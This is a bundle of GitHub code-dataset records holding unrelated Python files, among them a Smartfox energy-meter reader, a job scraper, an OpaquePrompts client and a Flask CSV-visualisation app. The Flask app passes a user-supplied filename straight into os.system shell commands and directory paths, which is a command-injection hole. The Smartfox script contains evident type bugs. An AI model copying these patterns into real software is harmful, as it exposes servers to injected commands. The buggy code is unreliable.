read_employees, rename_data, write_re\n\nprint('Выбери режим работы с данными сотрудников: ')\nprint('1. Внести данные нового сотрудника\\n2. Поиск данных сотрудника по базе\\n3. Вывести список всех сотрудников на экран\\n4. Внести изменения')\n\nmode = int(input())\nif mode == 1:\n a = add_employees()\n write_employees(a)\n\nelif mode == 2:\n print(find_employees(read_employees()))\n\nelif mode == 3:\n print(read_employees())\n\nelif mode == 4:\n mass = read_employees()\n write_re(changes_employees(mass)) # было так: write_re(changes_employees(mass))\n\nelse:\n print('Введено неверное значение!')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"NatalyaPs/Python_september22","sub_path":"seminar08_1_Наиль_2_hall/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18732108900","text":"#!/usr/bin/env python3\nfrom datetime import datetime, timezone\nimport os\nimport re\nimport requests\nimport sys\nimport traceback\nimport xml.etree.ElementTree as ET\n\nbezug_smartfox_ip = str(sys.argv[1])\n\nDebug = int(os.environ.get('debug'))\nmyPid = str(os.getpid())\n\ndef DebugLog(message):\n local_time = datetime.now(timezone.utc).astimezone()\n print(local_time.strftime(format = \"%Y-%m-%d %H:%M:%S\") + \": PID: \"+ myPid +\": \" + message)\n\ndef get_xml_text(root, tag, attribute_key, attribute_value):\n try:\n value = None\n for element in root.iter(tag):\n if element.get(attribute_key) == attribute_value:\n value = element.text\n return value\n except:\n traceback.print_exc()\n exit(1)\n\nif Debug >= 2:\n DebugLog('Smartfox IP: ' + bezug_smartfox_ip)\n\n# Anpassung der Variablennamen nach Firmwareupgrade auf EM2 00.01.03.06 (04-2021)\n# Daten einlesen\nheaders = {\n 'Accept': '*/*',\n 'Accept-Encoding': 'gzip, deflate',\n 'Host': bezug_smartfox_ip,\n 'Connection': 'keep-alive)',\n}\n\nresponse = requests.get('http://'+bezug_smartfox_ip+'/values.xml', headers=headers, timeout=10)\nresponse.encoding = 'utf-8'\nresponse = response.text.replace(\"\\n\", \"\")\n# Version ermitteln\nversion = None\ntree = ET.parse(response)\nroot = tree.getroot()\nversion = get_xml_text(root, \"value\", \"id\", \"version\")\nif version < 6:\n versionshort = version[:-6]\nelse:\n versionshort = \"oldversion\"\n\n\nif versionshort != \"EM2 00.01\":\n newversion = True\n var_wattbezug = \"detailsPowerValue\"\n var_wattbezug1 = \"powerL1Value\"\n var_wattbezug2 = \"powerL2Value\"\n var_wattbezug3 = \"powerL3Value\"\n var_ikwh = \"energyValue\"\n var_ekwh = \"eToGridValue\"\n var_evupf1 = \"not_available\"\n var_evupf2 = \"not_available\"\n var_evupf3 = \"not_available\"\n var_evuv1 = \"voltageL1Value\"\n var_evuv2 = \"voltageL2Value\"\n var_evuv3 = \"voltageL3Value\"\n var_bezuga1 = \"ampereL1Value\"\n var_bezuga2 = \"ampereL2Value\"\n var_bezuga3 = \"ampereL3Value\"\nelse:\n newversion = False\n var_wattbezug = \"u5790-41\"\n var_wattbezug1 = \"u6017-41\"\n var_wattbezug2 = \"u6014-41\"\n var_wattbezug3 = \"u6011-41\"\n var_ikwh = \"u5827-41\"\n var_ekwh = \"u5824-41\"\n var_evupf1 = \"u6074-41\"\n var_evupf2 = \"u6083-41\"\n var_evupf3 = \"u6086-41\"\n var_evuv1 = \"u5978-41\"\n var_evuv2 = \"u5981-41\"\n var_evuv3 = \"u5984-41\"\n var_bezuga1 = \"u5999-41\"\n var_bezuga2 = \"u5996-41\"\n var_bezuga3 = \"u5993-41\"\n\n\n# Aktuelle Leistung (kW --> W)\nwattbezug = (get_xml_text(root, \"value\", \"id\", var_wattbezug))[:-2]\nwattbezug1 = get_xml_text(root, \"value\", \"id\", var_wattbezug1)\nwattbezug2 = get_xml_text(root, \"value\", \"id\", var_wattbezug2)\nwattbezug3 = get_xml_text(root, \"value\", \"id\", var_wattbezug3)\n\n# Zählerstand Import(kWh)\nikwh = (get_xml_text(root, \"value\", \"id\", var_ikwh))[:-4]\nikwh = round(ikwh * 1000, 2)\n\n# Zählerstand Export(kWh)\nekwh = (get_xml_text(root, \"value\", \"id\", var_ekwh))[:-4]\nekwh = round(ekwh * 1000, 2)\n\n# Weitere Zählerdaten für die Statusseite (PowerFaktor, Spannung und Strom)\n# Powerfaktor ist nach dem Firmwareupgrade auf EM2 00.01.03.06 (04-2021) nicht mehr in der values.xml daher fix auf 1\nif newversion == False:\n evupf1 = 1\n evupf2 = 1\n evupf3 = 1\nelse:\n evupf1 = get_xml_text(root, \"value\", \"id\", var_evupf1)\n evupf2 = get_xml_text(root, \"value\", \"id\", var_evupf2)\n evupf3 = get_xml_text(root, \"value\", \"id\", var_evupf3)\n\nevuv1 = get_xml_text(root, \"value\", \"id\", var_evuv1)\nevuv2 = get_xml_text(root, \"value\", \"id\", var_evuv2)\nevuv3 = get_xml_text(root, \"value\", \"id\", var_evuv3)\nbezuga1 = get_xml_text(root, \"value\", \"id\", var_bezuga1)\nbezuga2 = get_xml_text(root, \"value\", \"id\", var_bezuga2)\nbezuga3 = get_xml_text(root, \"value\", \"id\", var_bezuga3)\n# Prüfen ob Werte gültig\nregex = '^[-+]?[0-9]+\\.?[0-9]*$'\nif re.search(regex, wattbezug) == None:\n with open(\"/var/www/html/openWB/ramdisk/wattbezug\", \"r\") as f:\n wattbezug = int(f.read())\nif re.search(regex, ikwh) == None:\n with open(\"/var/www/html/openWB/ramdisk/bezugkwh\", \"r\") as f:\n ikwh = int(f.read())\nif re.search(regex, ekwh) == None:\n with open(\"/var/www/html/openWB/ramdisk/einspeisungkwh\", \"r\") as f:\n ekwh = int(f.read())\n\n# Ausgabe\nwith open(\"/var/www/html/openWB/ramdisk/wattbezug\", \"w\") as f:\n f.write(str(wattbezug))\nwith open(\"/var/www/html/openWB/ramdisk/bezugw1\", \"w\") as f:\n f.write(str(wattbezug1))\nwith open(\"/var/www/html/openWB/ramdisk/bezugw2\", \"w\") as f:\n f.write(str(wattbezug2))\nwith open(\"/var/www/html/openWB/ramdisk/bezugw3\", \"w\") as f:\n f.write(str(wattbezug3))\nwith open(\"/var/www/html/openWB/ramdisk/bezugkwh\", \"w\") as f:\n f.write(str(ikwh))\nwith open(\"/var/www/html/openWB/ramdisk/einspeisungkwh\", \"w\") as f:\n f.write(str(ekwh))\nwith open(\"/var/www/html/openWB/ramdisk/evupf1\", \"w\") as f:\n f.write(str(evupf1))\nwith open(\"/var/www/html/openWB/ramdisk/evupf2\", \"w\") as f:\n f.write(str(evupf2))\nwith open(\"/var/www/html/openWB/ramdisk/evupf3\", \"w\") as f:\n f.write(str(evupf3))\nwith open(\"/var/www/html/openWB/ramdisk/evuv1\", \"w\") as f:\n f.write(str(evuv1))\nwith open(\"/var/www/html/openWB/ramdisk/evuv2\", \"w\") as f:\n f.write(str(evuv2))\nwith open(\"/var/www/html/openWB/ramdisk/evuv3\", \"w\") as f:\n f.write(str(evuv3))\nwith open(\"/var/www/html/openWB/ramdisk/bezuga1\", \"w\") as f:\n f.write(str(bezuga1))\nwith open(\"/var/www/html/openWB/ramdisk/bezuga2\", \"w\") as f:\n f.write(str(bezuga2))\nwith open(\"/var/www/html/openWB/ramdisk/bezuga3\", \"w\") as f:\n f.write(str(bezuga3))\n\nif Debug >= 1:\n DebugLog('Watt: ' + str(wattbezug))\n DebugLog('Einspeisung: ' + str(ekwh))\n DebugLog('Bezug: ' + str(ikwh))\n DebugLog('Leistung L1: ' + str(wattbezug1))\n DebugLog('Leistung L2: ' + str(wattbezug2))\n DebugLog('Leistung L3: ' + str(wattbezug3))\n DebugLog('Power Faktor L1: ' + str(evupf1))\n DebugLog('Power Faktor L2: ' + str(evupf2))\n DebugLog('Power Faktor L3: ' + str(evupf3))\n DebugLog('Spannung L1: ' + str(evuv1))\n DebugLog('Spannung L2: ' + str(evuv2))\n DebugLog('Spannung L3: ' + str(evuv3))\n DebugLog('Strom L1: ' + str(bezuga1))\n DebugLog('Strom L2: ' + str(bezuga2))\n DebugLog('Strom L3: ' + str(bezuga3))\n\nexit(0)","repo_name":"EmbeddedTec/openWB","sub_path":"modules/bezug_smartfox/smartfox.py","file_name":"smartfox.py","file_ext":"py","file_size_in_byte":6250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"6629971062","text":"from .kind import Kind\nfrom colorama import init, Style\n\ninit()\n\nclass TypeMeta(type, metaclass=Kind):\n \"\"\" Base type class. \"\"\"\n \n kind = \"*\" \n\n def __new__(cls, name, bases, dct):\n \"\"\" Create a new type. \"\"\"\n T = super().__new__(cls, name, bases, dct)\n T.__str__ = cls.str_method(T.__str__)\n T.__repr__ = cls.repr_method(T.__repr__)\n if not \"cast\" in dir(T):\n T.cast = cls.cast_method(T)\n return T\n \n @staticmethod\n def repr_method(rep):\n def _rep_(x):\n tx = f\"{type(x)} : \"\n indent = len(tx)\n rx = rep(x)\n tx = Style.DIM + tx + Style.NORMAL\n if rx[:len(tx)] == tx:\n return rx\n else:\n return tx + rx.replace(\"\\n\", \"\\n\" + \" \" * indent)\n return _rep_\n\n @staticmethod\n def str_method(show):\n return lambda x: show(x)\n \n @staticmethod\n def cast_method(T):\n\n def _cast_(x):\n if isinstance(x, T): \n return x\n try: \n Tx = T(x) \n return _cast_(Tx)\n except:\n raise TypeError(f\"Could not cast {type(x)} to type {T}.\")\n\n return _cast_\n\n def __repr__(self):\n \"\"\" Show type name. \"\"\"\n return f\"{self.__name__}\"\n\n\n#--- Type variables ---\n\nclass TypeVar(TypeMeta):\n\n def __new__(cls, name, bases=()):\n A = super().__new__(cls, name, bases, {})\n A.variables = [name]\n\n def match(B): \n if 'functor' not in dir(A):\n return {name: B}\n if 'functor' not in dir(B): \n return None\n if A.functor == B.functor and len(A.types) == len(B.types):\n out = {}\n for Ai, Bi in zip(A.types, B.types):\n if isinstance(Ai, TypeVar):\n mi = Ai.match(Bi)\n if mi == None: return None\n out |= mi\n elif Ai != Bi:\n return None\n return out\n return None\n\n def substitute(matches):\n if 'functor' not in dir(A): \n return matches[A.__name__]\n types = []\n for Ai in A.types: \n types.append(Ai.substitute(matches) if isinstance(Ai, TypeVar) else Ai)\n return A.functor(*types)\n \n A.match = match\n A.substitute = substitute\n return A\n \n def __init__(self, name, bases=()):\n pass\n\n\n#--- Instances ---\n\nclass Type(metaclass=TypeMeta):\n pass\n\n","repo_name":"opeltre/fp","sub_path":"fp/meta/type.py","file_name":"type.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"17747988624","text":"import numpy as np\nimport pandas as pd\n\n## import DE_probes file into a dataframe\nde_probes = pd.read_csv('./H5N1_VN1203_DE_Probes.txt', delimiter = '\\t')\n## create a list of DE gene, eliminate duplicate genes\nde_genes = list(set(de_probes['gene']))\n\n## import UNIVERSE_probes file into a dataframe\nall_probes = pd.read_csv('./H5N1_VN1203_UNIVERSE_Probes.txt', delimiter = '\\t')\n## create a list of all genes, eliminate duplicate genes\nall_genes = list(set(all_probes['gene']))\n\n## import KEGG_Pathway_Genes file into a 1-column dataframe\npathway = pd.read_csv('./KEGG_Pathway_Genes.txt', squeeze=True)\n## split the dataframe into 3 columns: ID, Title, Members (Members = string of all pathway genes)\npathway = pathway.str.split('\\t', 2, expand=True)\npathway.columns = ['ID','Title', 'Members']\n## replace tabs between pathway genes with space\npathway['Members'] = pathway['Members'].str.replace('\\t',' ')\n\n## add space before and after the string of pathway genes - useful for searching through the list of genes\npathway['Members'] = ' ' + pathway['Members'] + ' '\n## create a string of genes in the pathway that are tested (in the list of all genes) \npathway['Tested Members'] = ''\nfor gene in all_genes:\n pathway['Tested Members'] += np.where(pathway['Members'].str.contains(' ' + gene + ' '), gene + ' ', '')\n\n## count number of genes that are tested in each pathway\npathway['Tested Members'] = pathway['Tested Members'].str.strip()\npathway['Mem count'] = pathway['Tested Members'].str.split().apply(len)\n\n## count number of genes that are in differentially expressed (in the DE list)\npathway['PW DE count'] = 0\nfor gene in de_genes:\n pathway['PW DE count'] += np.where(pathway['Members'].str.contains(' ' + gene + ' '), 1, 0)\n\n## calculate the rest of the gene counts to get odds ratios later\nnon_de_count = len(all_genes) - len(de_genes)\npathway['PW NDE count'] = pathway['Mem count'] - pathway['PW DE count']\npathway['NPW DE count'] = len(de_genes) - pathway['PW DE count']\npathway['NPW NDE count'] = non_de_count - pathway['PW NDE count']\n\n## calculate odds ratios\npathway['Odds Ratio'] = (pathway['PW DE count']*(pathway['NPW NDE count']))/(pathway['PW NDE count']*(pathway['NPW DE count']))\n## extract ID, Title, Odds Ratios only\nfinal_pw = pathway.loc[:,['ID','Title','Odds Ratio', 'Tested Members']]\n\n## save dataframe to txt file\nfinal_pw.to_csv(path_or_buf = './pathway.txt', sep='\\t', index = False, line_terminator='\\n')","repo_name":"sophyseeker/PythonHW","sub_path":"Pham_project_1.py","file_name":"Pham_project_1.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22113621724","text":"import pandas as pd\r\nimport requests\r\nimport json\r\n\r\nurl = \"https://api.publicapis.org/entries\"\r\n\r\npayload = dict()\r\nheaders = dict()\r\n\r\nresponse = json.loads(requests.request(\"GET\", url, headers=headers, data=payload).text)\r\n\r\napiList = []\r\ndescList = []\r\nauthList = []\r\nhttpsList = []\r\ncorsList = []\r\nlinkList = []\r\ncatList = []\r\nfor i in response['entries']:\r\n apiList.append(i['API'])\r\n descList.append(i['Description'])\r\n authList.append(i['Auth'])\r\n httpsList.append(i['HTTPS'])\r\n corsList.append(i['Cors'])\r\n linkList.append(i['Link'])\r\n catList.append(i['Category'])\r\n\r\ncsvDataDict = {'API': apiList, 'Description': descList, 'Auth': authList, 'HTTPS': httpsList, 'Cors': corsList, 'Link': linkList, 'Category': catList}\r\ndf = pd.DataFrame(csvDataDict)\r\ndf.to_csv(\"output.csv\", index=False)\r\n","repo_name":"gparth30/json_response_to_csv_file","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20498023867","text":"import json\n\nfrom collections import deque\n\ndef is_in_order(left, right):\n \n for i in range(max(len(left), len(right))):\n \n if i > (len(left) - 1):\n return True\n \n if i > (len(right) - 1):\n return False\n\n left_element = left[i]\n \n right_element = right[i]\n \n if isinstance(left_element, int) and isinstance(right_element, int):\n if left_element < right_element:\n return True\n elif left_element > right_element:\n return False\n else:\n continue\n elif isinstance(left_element, int):\n left_element = [left_element]\n elif isinstance(right_element, int):\n right_element = [right_element]\n \n result = is_in_order(left_element, right_element)\n \n if result == None:\n continue\n \n return result\n\n# part 1\n\nwith open('input.txt', encoding=\"utf-8\") as f:\n data = f.read()\n \n packets = data.split('\\n\\n')\n \n in_order_count = 0\n \n for packet_index, packet in enumerate(packets):\n [left, right] = [json.loads(x) for x in packet.splitlines()]\n if is_in_order(left, right):\n in_order_count += packet_index + 1\n print(in_order_count)\n \n\n\n# part 2\ndef merge_sort(packets):\n \n if len(packets) == 1:\n return [packets[0]]\n \n left = packets[:len(packets)//2]\n \n right = packets[len(packets)//2:]\n \n left_sorted = deque(merge_sort(left))\n \n right_sorted = deque(merge_sort(right))\n \n sorted = []\n \n while len(left_sorted) > 0 and len(right_sorted) > 0:\n if is_in_order(left_sorted[0], right_sorted[0]):\n sorted.append(left_sorted.popleft())\n else:\n sorted.append(right_sorted.popleft())\n \n while len(left_sorted) > 0:\n sorted.append(left_sorted.popleft())\n\n while len(right_sorted) > 0:\n sorted.append(right_sorted.popleft())\n \n return sorted\n \n\nwith open('input.txt', encoding=\"utf-8\") as f:\n \n data = f.read()\n \n pairs = data.split('\\n\\n')\n \n packets = [[[2]], [[6]]]\n \n for pair in pairs:\n [left, right] = [json.loads(x) for x in pair.splitlines()]\n packets.append(left)\n packets.append(right)\n \n \n sorted = merge_sort(packets)\n \n answer = 1\n \n for i, item in enumerate(sorted):\n if item == [[2]] or item == [[6]]:\n answer *= (i+1)\n \n print(answer)\n \n\n\n\n\n","repo_name":"robt1019/advent-of-code-2022-Python","sub_path":"day-13/day-13.py","file_name":"day-13.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24031817785","text":"import openpyxl\n\nbook = openpyxl.load_workbook(\"C:\\\\Users\\\\umayadav\\\\PycharmProjects\\\\TestDataPython.xlsx\")\nsheet = book.active\ndict = {}\nprint(sheet.max_row) # total number of rows\nprint(sheet.max_column) # total number of columns\nfor i in range(1, sheet.max_row + 1):\n if sheet.cell(row=i, column=1).value == \"Test2\":\n for j in range(2, sheet.max_column + 1):\n # print((sheet.cell(row=i, column=j)).value)\n dict[(sheet.cell(row=1, column=j)).value] = (sheet.cell(row=i, column=j)).value\nprint(dict)\n","repo_name":"github-uma/Python-Practice","sub_path":"pytestDemo/ReadExcelData.py","file_name":"ReadExcelData.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"45239374282","text":"from bs4 import BeautifulSoup\nimport requests\n\nresult = []\n\ndef extract_jobs(term):\n url = f\"https://remoteok.com/remote-{term}-jobs\"\n request = requests.get(url, headers={\"User-Agent\": \"Kimchi\"})\n if request.status_code == 200:\n soup = BeautifulSoup(request.text, \"html.parser\")\n # write your ✨magical✨ code here\n\n\n jobs = soup.find_all('td', class_=\"company position company_and_position\") \n\n for jobs_find_query in jobs:\n position = jobs_find_query.select_one('h2')\n position_str = position.string\n position_str = position_str.replace('\\n',\"\")\n company_name = jobs_find_query.select_one('h3')\n company_name_str = company_name.string\n company_name_str = company_name_str.replace('\\n',\"\")\n region_and_salary = jobs_find_query.select('div.location')\n ahref_query = jobs_find_query.select('a[href^=\"/remote-jobs/\"]')\n\n link = [] ## 잘못된 link 리스트 선언위치.... 에러의 원인\n for link_rep in ahref_query:\n link.append(link_rep.attrs['href'])\n\n cnt = 0\n link_cnt = 0\n for processing_data in region_and_salary:\n cnt = cnt + 1 \n if cnt % 2 != 0:\n region = processing_data.string\n else:\n salary = processing_data.string\n \n job_data = { \"link\" : \n f\"https://remoteok.com{link[link_cnt]}\", \n \"company\" : company_name_str,\n \"position\" : position_str,\n \"region\" : region,\n \"salary\" : salary}\n \n link_cnt = link_cnt + 1\n result.append(job_data)\n \n \n for print_result in result:\n print(print_result)\n print(\"##################\")\n \n else:\n print(\"Can't get jobs.\")\n\nextract_jobs(\"rust\")\nextract_jobs(\"golang\")\nextract_jobs(\"python\")\nextract_jobs(\"react\")","repo_name":"zuramaru1330/nomadcoders_python_challenge","sub_path":"error_append_file.py","file_name":"error_append_file.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39763478377","text":"\"\"\"\nThis module exposes wrappers around API calls to the OpaquePrompts service.\n\"\"\"\nimport json\nimport os\nimport threading\nfrom dataclasses import dataclass\nfrom http import HTTPStatus\nfrom http.client import HTTPException\nfrom importlib import metadata\nfrom typing import Dict, List, Optional, Union\n\nimport requests\nfrom atls.utils.requests import HTTPAAdapter\nfrom atls.validators import Validator\nfrom atls.validators.azure.aas import PUBLIC_JKUS, AciValidator\nfrom opaqueprompts.authentication import get_api_key\nfrom opaqueprompts.configuration import get_server_config\n\n# Global requests session to leverage connection pooling to in turn avoid\n# establishing a new connection for each request to the service.\n_session: Optional[requests.Session] = None\n\n# Protects the global requests session when creating it for the first time.\n_session_lock: threading.Lock = threading.Lock()\n\nSERVER_ATLS_ENV_VAR = \"OPAQUEPROMPTS_CLIENT_ATLS_ENABLED\"\n\n\n@dataclass\nclass SanitizeResponse:\n \"\"\"\n Class representing the return value of the sanitize method\n\n Attributes\n ----------\n sanitized_texts : list of str\n The sanitized form of the input texts without PII. List has the same\n dimensions as the input_texts list.\n secret_entropy : str\n A set of bytes encoded as a string that contains the context needed to\n desanitize the entities in sanitized_text; it must be passed along to\n the desanitize endpoint.\n \"\"\"\n\n sanitized_texts: List[str]\n secure_context: str\n\n\ndef sanitize(\n input_texts: List[str],\n retries: Optional[int] = None,\n timeout: Optional[int] = None,\n) -> SanitizeResponse:\n \"\"\"\n Takes in a list of prompts and returns a list of sanitized prompts with PII\n redacted from it.\n\n Parameters\n ----------\n input_texts : list of str\n List of prompts to sanitize together.\n retries : int, optional\n The number of retries to submit a request to the service before giving\n up when errors occur.\n timeout : int, optional\n The number of seconds to wait until a request to the service times out.\n\n Returns\n -------\n SanitizeResponse\n The anonymized version of input_texts without PII and a secret entropy\n value.\n \"\"\"\n response = _send_request_to_opaqueprompts_service(\n endpoint=\"sanitize\",\n payload={\"input_texts\": input_texts},\n retries=retries,\n timeout=timeout,\n )\n return SanitizeResponse(**json.loads(response))\n\n\n@dataclass\nclass DesanitizeResponse:\n \"\"\"\n Class representing the return value of the desanitize method.\n\n Attributes\n ----------\n desanitized_text : str\n The desanitized form of the input text with PII added back in.\n \"\"\"\n\n desanitized_text: str\n\n\ndef desanitize(\n sanitized_text: str,\n secure_context: str,\n retries: Optional[int] = None,\n timeout: Optional[int] = None,\n) -> DesanitizeResponse:\n \"\"\"\n Takes in a sanitized response and returns the desanitized text with PII\n added back to it.\n\n Parameters\n ----------\n sanitized_text : str\n Sanitized response that you want to be desanitized.\n secure_context : str\n Secret entropy value that should have been returned by the call to\n sanitize.\n retries : int, optional\n The number of times to resubmit a request to the service before giving\n up when errors occur.\n timeout : int, optional\n The number of seconds to wait until a request to the service times out.\n\n Returns\n -------\n DesanitizeResponse\n The deanonymzied version of sanitized_text with PII added back in.\n \"\"\"\n response = _send_request_to_opaqueprompts_service(\n endpoint=\"desanitize\",\n payload={\n \"sanitized_text\": sanitized_text,\n \"secure_context\": secure_context,\n },\n retries=retries,\n timeout=timeout,\n )\n return DesanitizeResponse(**json.loads(response))\n\n\n########## Helper Functions ##########\n\n\ndef _send_request_to_opaqueprompts_service(\n endpoint: str,\n payload: Dict[str, Union[str, List[str]]],\n retries: Optional[int] = None,\n timeout: Optional[int] = None,\n) -> str:\n \"\"\"\n Helper method which takes in the name of the endpoint and a payload\n dictionary, and converts it into the form needed to send the request to the\n OpaquePrompts service. Returns the response received if it's successful,\n and raises an error otherwise.\n\n Parameters\n ----------\n endpoint : str\n The name of the endpoint you are trying to hit.\n payload : dict\n The payload of the request as a dictionary.\n retries : int, optional\n The number of times to resubmit a request to the service before giving\n up when errors occur.\n timeout : int, optional\n The number of seconds to wait until a request to the service times out.\n\n Returns\n -------\n str\n The response body returned by the request, only returned if the request\n was successful.\n \"\"\"\n\n global _session\n global _session_lock\n\n # TESTING USE ONLY!!!\n # This environment variable is used to disable aTLS for testing purposes.\n # If aTLS is disabled, this package will not be able to communicate with an\n # aTLS-enabled endpoint.\n atls_enabled_str: Union[None, str]\n atls_enabled_str = os.environ.get(SERVER_ATLS_ENV_VAR)\n\n if atls_enabled_str is None or atls_enabled_str.lower() == \"true\":\n atls_enabled = True\n elif atls_enabled_str.lower() == \"false\":\n atls_enabled = False\n else:\n raise Exception(\n f\"Invalid value for {SERVER_ATLS_ENV_VAR}: {atls_enabled_str}\"\n )\n\n scheme = \"httpa\" if atls_enabled else \"http\"\n\n with _session_lock:\n if _session is None:\n _session = requests.Session()\n _session.mount(\"httpa://\", HTTPAAdapter(_get_default_validators()))\n\n api_key = get_api_key()\n hostname, port = get_server_config()\n\n if retries is None:\n retries = 3\n\n conn_except: ConnectionError\n while retries > 0:\n try:\n response = _session.request(\n \"POST\",\n f\"{scheme}://{hostname}:{port}/{endpoint}\",\n headers={\n \"Authorization\": f\"Bearer {api_key}\",\n \"Client-Version\": metadata.version(\"opaqueprompts\"),\n },\n data=json.dumps(payload),\n timeout=timeout,\n )\n\n response_code = response.status_code\n response_text = response.text\n\n if response_code != HTTPStatus.OK:\n raise HTTPException(\n f\"Error response from the OpaquePrompts server: \"\n f\"[HTTP {response_code}] {response_text}\"\n )\n\n return response_text\n except ConnectionError as e:\n conn_except = e\n retries -= 1\n\n raise conn_except\n\n\ndef _get_default_validators() -> List[Validator]:\n \"\"\"\n Retrieve a list of default aTLS validators to use when connecting to the\n OpaquePrompts server with sane default configurations.\n\n Returns\n -------\n list of Validator\n One or more aTLS validators\n \"\"\"\n aci_validator = AciValidator(jkus=PUBLIC_JKUS)\n\n return [aci_validator]\n","repo_name":"opaque-systems/opaqueprompts-python","sub_path":"python-package/src/opaqueprompts/opaqueprompts_service.py","file_name":"opaqueprompts_service.py","file_ext":"py","file_size_in_byte":7342,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"32"} +{"seq_id":"1634697455","text":"import os\nimport shutil\nfrom flask import Flask, request, redirect, url_for, send_file, render_template\nfrom werkzeug.utils import secure_filename\n\n# name the upload/input folder\nUPLOAD_FOLDER = 'static/input/'\nALLOWED_EXTENSIONS = set(['csv'])\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n# check to see if file is allowed.\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n# file upload on index page.\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n x = os.listdir('static/input')\n if request.method == 'POST':\n # check if the post request has the file part\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n return redirect(url_for('run_vis', filename=filename))\n return render_template('index.html', value=x)\n\n\n# VIS - Runs the scripts necessary to produce the plots, histograms and stats table.\n\n@app.route('/vis', methods=['GET'])\ndef run_vis():\n # Get variable for filename via POST and/or GET\n # put it in as system argument ie python arg1(script_name) arg2(filename)\n\n # GET filename and its file path\n file_name = str(request.args.get('filename'))\n input_filepath = 'static/input/' + file_name\n\n # MAKE DIRECTORIES\n\n # make a main directory to store output from scripts\n split_filename = os.path.splitext(file_name)[0]\n input_directory = r'static/input/' + split_filename\n os.makedirs(input_directory)\n\n # move raw data to input folder\n shutil.move(input_filepath, input_directory)\n new_input_directory = input_directory + '//' + file_name\n\n # make a main directory to store output from scripts\n split_filename = os.path.splitext(file_name)[0]\n output_directory = r'static/output/' + split_filename\n os.makedirs(output_directory)\n\n # make click data directory\n click_directory = output_directory + '/click_plots'\n os.makedirs(click_directory)\n\n # make stats data directory\n stats_directory = output_directory + '/stats'\n os.makedirs(stats_directory)\n\n # name and path for the stats csv file\n csv_name = split_filename + '_stats.csv'\n csv_path = stats_directory + '/' + csv_name\n\n # name and filepath of processed copy of input file \n copy_input = split_filename + '_copy.csv'\n copy_input_filepath = input_directory + '/' + copy_input\n\n # RUN SCRIPTS\n\n # pre process the data. checks that data has the correct columns necessary to create the plots,\n # histograms and stats data\n os.system(\"python static/scripts/data_pre_pro.py \" + new_input_directory + ' ' + copy_input_filepath\n)\n\n # create click plots\n os.system(\"python static/scripts/action_item.py \" + copy_input_filepath + ' ' + split_filename)\n os.system(\"python static/scripts/click_density.py \" + copy_input_filepath + ' ' + split_filename)\n\n # create the stats file and histograms\n os.system(\"python static/scripts/create_stats.py \" + copy_input_filepath + ' ' + split_filename + ' ' + stats_directory)\n os.system(\"python static/scripts/histogram_click_count.py \" + csv_path + ' ' + split_filename)\n os.system(\"python static/scripts/histogram_clicks_per_min.py \" + csv_path + ' ' + split_filename)\n os.system(\"python static/scripts/histogram_time_taken.py \" + csv_path + ' ' + split_filename)\n\n # load template with plots and stats data.\n return render_template('vis.html')\n\n\n# HTML and CSV DOWNLOADS\n# Each route downloads the HTML version of each plot,\n# and the CSV version of the stats data.\n\n# Download action_item plot\n@app.route('/dl_click', methods=['GET'])\ndef run_dl_click():\n return send_file('templates//idvt_data_action_item.html',\n mimetype='text/html',\n as_attachment=True)\n\n\n# Download click density plot\n@app.route('/dl_click_density')\ndef run_dl_click_density():\n return send_file('templates//idvt_data_click_density.html',\n mimetype='text/html',\n attachment_filename='idvt_data_click_density.html',\n as_attachment=True)\n\n\n# Download Click Count Histogram\n@app.route('/dl_click_count_html')\ndef run_dl_click_count():\n return send_file('templates//idvt_data_histogram_click_count.html',\n mimetype='text/csv',\n attachment_filename='idvt_data_histogram_click_count.html',\n as_attachment=True)\n\n\n# Download Clicks Per Min Histogram\n@app.route('/dl_clicks_per_minute_html')\ndef run_dl_clicks_per_minute():\n return send_file('templates//idvt_data_histogram_clicks_per_minute.html',\n mimetype='text/csv',\n attachment_filename='idvt_data_histogram_clicks_per_minute.html',\n as_attachment=True)\n\n\n# Download Time Taken Histogram\n@app.route('/dl_time_taken_html')\ndef run_dl_time_taken():\n return send_file('templates//idvt_data_histogram_time_taken_mins.html',\n mimetype='text/csv',\n attachment_filename='idvt_data_histogram_time_taken_mins.html',\n as_attachment=True)\n\n\n# Download the stats data as a CSV\n@app.route('/dl_stats_csv')\ndef run_dl_stats_csv():\n return send_file('templates//idvt_data_stats.csv',\n mimetype='text/csv',\n attachment_filename='idvt_data_stats.csv',\n as_attachment=True)\n\n\nif __name__ == '__main__':\n app.config['TEMPLATES_AUTO_RELOAD'] = True\n 